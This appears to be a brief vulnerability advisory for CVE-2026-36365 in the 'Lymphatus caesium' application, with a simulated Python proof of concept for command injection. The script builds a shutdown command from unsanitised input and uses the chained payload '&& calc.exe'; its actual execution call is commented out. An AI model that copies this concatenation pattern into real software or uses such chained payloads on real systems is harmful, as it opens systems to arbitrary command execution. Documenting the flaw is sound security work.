CVE-2026-36365 Lymphatus caesium本地代码执行漏洞

# Proof of Concept (Conceptual) # This script demonstrates the command injection concept. # Actual exploitation requires interacting with the vulnerable application. import os # Simulating the vulnerable function in PostCompressionActions.cpp # Vulnerable pattern: system("shutdown " + user_input) def vulnerable_shutdown_action(user_input): # The application fails to sanitize semicolons or command chaining command = f"shutdown /s /t 0 {user_input}" print(f"Executing command: {command}") # In a real scenario, this executes the OS command # os.system(command) # Attacker payload to execute calc.exe instead of just shutting down malicious_payload = "&& calc.exe" if __name__ == "__main__": print("Simulating CVE-2026-36365 PoC...") vulnerable_shutdown_action(malicious_payload)